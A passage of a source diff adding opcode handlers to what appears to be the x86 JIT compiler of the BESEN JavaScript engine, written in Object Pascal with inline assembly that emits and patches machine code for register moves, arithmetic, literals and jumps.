PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[1])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceHash))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[2])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIsStrict))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[3])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIndex))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[4])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceID))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[5])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[6])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceBase.ValueType))-ptruint(pointer(@v))); +{$endif} + end; + bopLREF:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtLOCAL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtLOCAL); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.LocalIndex],LocalIndex + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + AddDWord(Operands^[1]); + end; + bopNOP:begin + end; + bopCOPY:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopNEQ:begin + AddDispatcher; + end; + bopNSEQ:begin + AddDispatcher; + end; + bopAREF:begin + AddDispatcher; + end; + bopTHROW:begin + AddDispatcher; + end; + bopSETC:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETC:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea edx,dword ptr [esi+TBESENCodeContext.ResultValue] + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopTHIS:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov edx,dword ptr [esi+TBESENCodeContext.Context] + lea edx,dword ptr [edx+TBESENContext.ThisBinding] + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopOBJECT:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + asm + jmp @Skip + @CodeBegin: + mov eax,dword ptr [esi+TBESENCodeContext.Instance] + mov eax,dword ptr [eax+TBESEN.ObjectConstructor] + mov dword ptr [edx],eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopARRAY:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + asm + jmp @Skip + @CodeBegin: + mov eax,dword ptr [esi+TBESENCodeContext.Instance] + mov eax,dword ptr [eax+TBESEN.ObjectArrayConstructor] + mov dword ptr [edx],eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopREGEXP:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + asm + jmp @Skip + @CodeBegin: + mov eax,dword ptr [esi+TBESENCodeContext.Instance] + mov eax,dword ptr [eax+TBESEN.ObjectRegExpConstructor] + mov dword ptr [edx],eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopREF:begin + if TBESENUINT32(Operands^[3])<>$fefefefe then begin + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + // Monomorphic precheck before the polymorphic/megamorphic checks in the opcode handler itself + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+6*4] + test ecx,ecx + js @DoDispatcher + @CodeVars0: + cmp dword ptr [edi+$1337c0de],bvtOBJECT + jnz @DoDispatcher + @CodeVars2: + mov eax,dword ptr [edi+$1337c0de] + cmp dword ptr [eax+TBESENObject.StructureID],ecx + jnz @DoDispatcher + + @CodeVars1: + mov dword ptr [edi+$1337c0de],brbvtOBJECT + + @CodeVars3: + mov dword ptr [edi+$1337c0de],eax + + @CodeVars8: + mov dword ptr [edi+$1337c0de],bvtREFERENCE + + mov eax,dword ptr [edx+7*4] + @CodeVars5: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+4*4] + @CodeVars4: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+8*4] + @CodeVars6: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+9*4] + @CodeVars7: + mov dword ptr [edi+$1337c0de],eax + + jmp @SkipDispatcher + @DoDispatcher: + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + mov dword ptr [CodeVars+0*4],offset @CodeVars0+2 + mov dword ptr [CodeVars+1*4],offset @CodeVars1+2 + mov dword ptr [CodeVars+2*4],offset @CodeVars2+2 + mov dword ptr [CodeVars+3*4],offset @CodeVars3+2 + mov dword ptr [CodeVars+4*4],offset @CodeVars4+2 + mov dword ptr [CodeVars+5*4],offset @CodeVars5+2 + mov dword ptr [CodeVars+6*4],offset @CodeVars6+2 + mov dword ptr [CodeVars+7*4],offset @CodeVars7+2 + mov dword ptr [CodeVars+8*4],offset @CodeVars8+2 + end; + OldCodeBufferLen:=CodeBufferLen; + AddCode(CodeBegin,CodeEnd); + AddDispatcherPointer; + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[0])-ptruint(CodeBegin))])^:=ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[1])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceBase.ValueType))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[2])-ptruint(CodeBegin))])^:=ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[3])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceBase.Obj))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[4])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceHash))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[5])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIsStrict))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[6])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIndex))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[7])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceID))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[8])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v))); + end else begin + AddDispatcher; + end; + end; + bopGETVALUE:begin + AddDispatcher; + end; + bopLOOKUP:begin + AddDispatcher; + end; + bopPUTVALUE:begin + AddDispatcher; + end; + bopDELETE:begin + AddDispatcher; + end; + bopTYPEOF:begin + AddDispatcher; + end; + bopTOOBJECT:begin + AddDispatcher; + end; + bopTONUMBER:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + if Operands^[0]=Operands^[1] then begin + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + Add(#$81#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + asm + jmp @Skip + @CodeBegin: + jz @SkipDispatcher + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddDispatcherPointer; + end else begin + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + Add(#$81#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + asm + jmp @Skip + @CodeBegin: + jnz @DoDispatcher + @CodeVars0: + mov dword ptr [edi+$1337c0d3],bvtNUMBER + @CodeVars1: + fld qword ptr [edi+$1337c0d3] + @CodeVars2: + fstp qword ptr [edi+$1337c0d3] + jmp @SkipDispatcher + @DoDispatcher: + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + mov dword ptr [CodeVars+0*4],offset @CodeVars0+2 + mov dword ptr [CodeVars+1*4],offset @CodeVars1+2 + mov dword ptr [CodeVars+2*4],offset @CodeVars2+2 + end; + OldCodeBufferLen:=CodeBufferLen; + AddCode(CodeBegin,CodeEnd); + AddDispatcherPointer; + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[0])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[1])-ptruint(CodeBegin))])^:=ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[2])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v))); + end; +{$endif} + end; + bopTOBOOLEAN:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + if Operands^[0]=Operands^[1] then begin + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + Add(#$81#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + asm + jmp @Skip + @CodeBegin: + jz @SkipDispatcher + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddDispatcherPointer; + end else begin + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + Add(#$81#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + asm + jmp @Skip + @CodeBegin: + jnz @DoDispatcher + @CodeVars0: + mov dword ptr [edi+$1337c0d3],bvtBOOLEAN + @CodeVars1: + mov eax,dword ptr [edi+$1337c0d3] + @CodeVars2: + mov dword ptr [edi+$1337c0d3],eax + jmp @SkipDispatcher + @DoDispatcher: + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + mov dword ptr [CodeVars+0*4],offset @CodeVars0+2 + mov dword ptr [CodeVars+1*4],offset @CodeVars1+2 + mov dword ptr [CodeVars+2*4],offset @CodeVars2+2 + end; + OldCodeBufferLen:=CodeBufferLen; + AddCode(CodeBegin,CodeEnd); + AddDispatcherPointer; + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[0])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[1])-ptruint(CodeBegin))])^:=ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v))); + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[2])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v))); + end; +{$endif} + end; + bopTOSTRING:begin + AddDispatcher; + end; + bopTOPRIMITIVE:begin + AddDispatcher; + end; + bopNEG:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$81#$b7); // xor dword ptr [edi+RegisterOfs+TBESENValue.Num+4],$80000000 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+((ptruint(pointer(@v.Num))+4)-ptruint(pointer(@v)))); + AddDWord($80000000); + end; + bopINV:begin + AddDispatcher; + end; + bopNOT:begin + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,$01 + sbb eax,eax + neg eax + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + end; + bopMUL:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$8f); // fmul qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopDIV:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$b7); // fdiv qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopMOD:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + @Repeat: + fprem + fstsw ax + sahf + jp @Repeat + fstp st(1) + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopADD:begin + AddDispatcher; + end; + bopADDNUM:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$87); // fadd qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopSUB:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$a7); // fsub qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopSHL:begin + AddDispatcher; + end; + bopSHR:begin + AddDispatcher; + end; + bopUSHR:begin + AddDispatcher; + end; + bopLT:begin + AddDispatcher; + end; + bopGT:begin + AddDispatcher; + end; + bopLE:begin + AddDispatcher; + end; + bopGE:begin + AddDispatcher; + end; + bopINSTANCEOF:begin + AddDispatcher; + end; + bopIN:begin + AddDispatcher; + end; + bopEQ:begin + AddDispatcher; + end; + bopSEQ:begin + AddDispatcher; + end; + bopBAND:begin + AddDispatcher; + end; + bopBXOR:begin + AddDispatcher; + end; + bopBOR:begin + AddDispatcher; + end; + bopSENUM:begin + AddDispatcher; + end; + bopSWITH:begin + AddDispatcher; + end; + bopSCATCH:begin + AddDispatcher; + end; + bopENDF:begin + AddDispatcher; + end; + bopJMP:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$e9); // jmp Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJZ:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$83#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.Bool],0 + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + Add(#$00); + + Add(#$0f#$85); // jnz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJNZ:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$83#$bf); // cmp dword ptr [edi+RegisterOfs+TBESENValue.Bool],0 + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + Add(#$00); + + Add(#$0f#$84); // jz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJNULL:begin + AddDispatcher; + end; + bopLOOPENUM:begin + AddDispatcher; + end; + bopSTRYC:begin + AddDispatcher; + end; + bopSTRYF:begin + AddDispatcher; + end; + bopLITERALUNDEF:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtUNDEFINED + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtUNDEFINED); + end; + bopLITERALNULL:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNULL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNULL); + end; + bopLITERALBOOL:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],Bool + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + if Operands^[1]<>0 then begin + AddDWord(longword(pointer(@BESENLongBooleanValues[true])^)); + end else begin + AddDWord(longword(pointer(@BESENLongBooleanValues[false])^)); + end; + end; + bopLITERALNUM:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + + Add(#$dd#$05); // fld qword ptr [Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[1]].Num))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + 